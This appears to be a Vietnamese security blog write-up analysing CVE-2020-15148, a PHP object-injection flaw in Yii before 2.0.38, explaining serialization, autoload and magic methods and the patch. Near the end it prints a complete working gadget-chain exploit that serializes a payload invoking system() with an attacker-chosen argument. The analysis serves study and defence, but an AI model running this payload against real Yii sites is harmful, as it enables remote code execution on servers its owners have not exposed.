CVE-2020-15148. RCE thông qua unserialize
CVE-2020-15148
Web sẽ xảy ra lỗ hổng nếu sử dụng framework yii phiên bản trước 2.0.38 và sử dụng hàm unserialize dữ liệu đầu vào của người dùng mà không kiểm tra trước.
Sơ qua về serialize và unserialize
serialize và unserialize được dùng để mô tả quá trình biến một object thành dạng dữ liệu có thể lưu trữ được và đọc ngược lại để lấy thông tin. Trong các ngôn ngữ lập trình hướng đối tượng thường sẽ có những hàm dùng để đọc ghi những đối tượng tương ứng với quá trình serialize và unserialize. Ví dụ như trong java có hàm writeObject và readObject hay trong PHP thì có hàm serialize và unserialize.
Dưới đây là một ví dụ về quá trình serialize và unserialize đơn giản:
Sơ lược về PHP autoload
Lỗi php serialize thường khá hay vì chain nó đa dạng dẫn đến impact gây nên cũng thiên biến vạn hóa. Một trong những cơ chế PHP advanced là autoload. Thay vì việc cần phải include hay require các file gây file php lớn thì cơ chế autoload được sinh ra nhằm hạn chế việc lập trình viên phải thêm rất nhiều class hay file vào phần đầu mỗi file.
Many developers writing object-oriented applications create one PHP source file per class definition. One of the biggest annoyances is having to write a long list of needed includes at the beginning of each script (one for each class).
PHP cung cấp cho chúng ta một cơ chế dùng để đăng ký function được gọi load class vào khi cần thông qua hàm spl_autoload_register .
The spl_autoload_register() function registers any number of autoloaders, enabling for classes and interfaces to be automatically loaded if they are currently not defined. By registering autoloaders, PHP is given a last chance to load the class or interface before it fails with an error.
Dưới đây là một ví dụ về cách sử dụng spl_autoload_register:
Có thể thấy ở trên, khi chạy chương trình class B
chưa được định nghĩa, nên PHP đã gọi đến hàm myAutoloader
để include file B.php
đồng thời cũng là class B
vào. Đến đây khi class
đã được xác định thì có thể khởi tạo biến $myClass
và gọi hàm hello
. Để có thể làm rõ hơn flow code thì các bạn có thể debug để thấy tiến trình chạy của code.
Vậy PHP autoload có liên quan gì đến serialize. Để có thể làm cho chain PHP có được impact mạnh cần nhiều class input đầu vào để có thể khai thác tối đa hàm đã có. Muốn khởi tạo được một class thì sẽ cần include
hoặc require
file chứa class
đó hoặc nếu nếu có autoload thì đây sẽ là một điều kiện tuyệt vời để có được một chain đẹp
Một số magic method trong PHP
PHP có nhiều magic method, đây là những function được gọi trong một điều kiện đặc biệt nào đó. Ví dụ như __construct được gọi khi khởi tạo một đối tượng. __destruct được gọi khi một đối tượng được thu hồi khi kết thúc. __call được gọi khi truy cập vào một method mà class không có
Phân tích CVE
Quay trở lại phân tích CVE khi đã có một số kiến thức nền tảng sẽ dễ dàng hơn. Đầu tiên là việc cài đặt framework yii. Phiên bản lỗi version 2.0.37.
Xem bản diff code trên github có thể thấy được lỗi nằm trong class BatchQueryResult
.
Vậy làm sau để có thể gọi hàm unserialze
khởi tạo class BatchQueryResult
?. Yii sử dụng tính năng autoload
class, từ controller có thể gọi đến một class chưa được load lên. Trong file Yii.php có thể thấy hàm autoload đã được đăng ký thông qua spl_autoload_register
vì vậy, khi controller gọi đến một class chưa được include
thì autoload
sẽ được gọi và load class đó lên.
Bước tiếp theo mình cài đặt một Controller chứa lỗi unserialze để bắt đầu debug và trace lỗi.
Review qua class có thể thấy được hàm __destruct
là một hàm đặc biệt và gọi đến một hàm khác là reset
Tại hàm reset có thực hiện gọi hàm close của biến _dataReader
. Từ đây chúng ta có nhiều hướng. Sử dụng một đối tượng có chứa hàm close hoặc sử dụng phương thức __call
magic method của PHP. Sử dụng tính năng của VsCode có thể tìm các function __call
nhanh chóng. Kết quả không ra quá nhiều hàm nên việc review tương đối nhanh
Kết quả tại lớp Generator
có gọi đến format
và tại đây có gọi đến call_user_func_array
, một hàm khá đặc biệt để có thể gọi đến các hàm khác. Về căn bản thì hàm sẽ gọi đến một hàm khác với một danh sách tham số. Ở đây nếu danh sách tham số có thể khống chế được thì đã có thể RCE được. Tuy nhiên do hàm close
của chúng ta không có tham số nên việc này cần gọi đến 1 hàm khác. Đến đây thì khá là clear rồi, việc cần làm là tìm một hàm có thực thi câu lệnh dẫn đến RCE như system
, eval
, call_user_func
với tham số khống chế được.
Tìm kiếm 1 class để có thể exploit tiếp thì thấy được class IndexAction.php
với hàm run
khá đơn giản và tham số có thể khống chế được
Hàm được sử dụng ở đây là call_user_func
để có thể thực hiện RCE. Khống chế được tham số thì việc RCE khá đơn giản (Các biến này đều để dạng public
nên dễ dàng truy nhập được để set giá trị). Phần cuối là viết lại chain để hoàn thiện exploit.
Code exploit:
// class BatchQueryResult
namespace yii\base;
class BaseObject{
} namespace yii\db;
class BatchQueryResult extends \yii\base\BaseObject{ private $_dataReader; public function __construct() { $this->_dataReader=new \Faker\Generator(); }
} // class IndexAction
namespace yii\rest;
class Action{ public $checkAccess='system'; // func muốn gọi public $id='dir'; // tham số truyền vào
}
class IndexAction extends Action{
} // class Generator
namespace Faker;
class Generator{ protected $formatters = array(); public function __construct() { $this->formatters['close']=[(new \yii\rest\IndexAction()),"run"]; // close là tên hàm _dataReader gọi }
} // exploit
use \yii\db\BatchQueryResult;
$payload=new BatchQueryResult();
print(base64_encode(serialize($payload))); // cần custom đoạn này để phù hợp với đầu vào
Kết quả cuối cùng:
Vá lỗi như nào
Từ bản diff code chúng ta có thể thấy class BatchQueryResult.php
đã thêm hàm __wakeup
throw ngay ra một exception để ngăn việc serialize
. Tuy nhiên chain khác không được sửa, nên nếu tìm ra một đầu vào khác biết đâu chúng ta sẽ có được một CVE )
Hồi kết
PHP object injection luôn là một thứ gì đó thử thách chúng ta vì mỗi một chain sẽ đem lại những kết quả khác nhau. Sau khi phân tích 1 day mình cũng biết thêm phần nào kiến thức về PHP object injection. Một số trick trong quá trình tìm kiếm.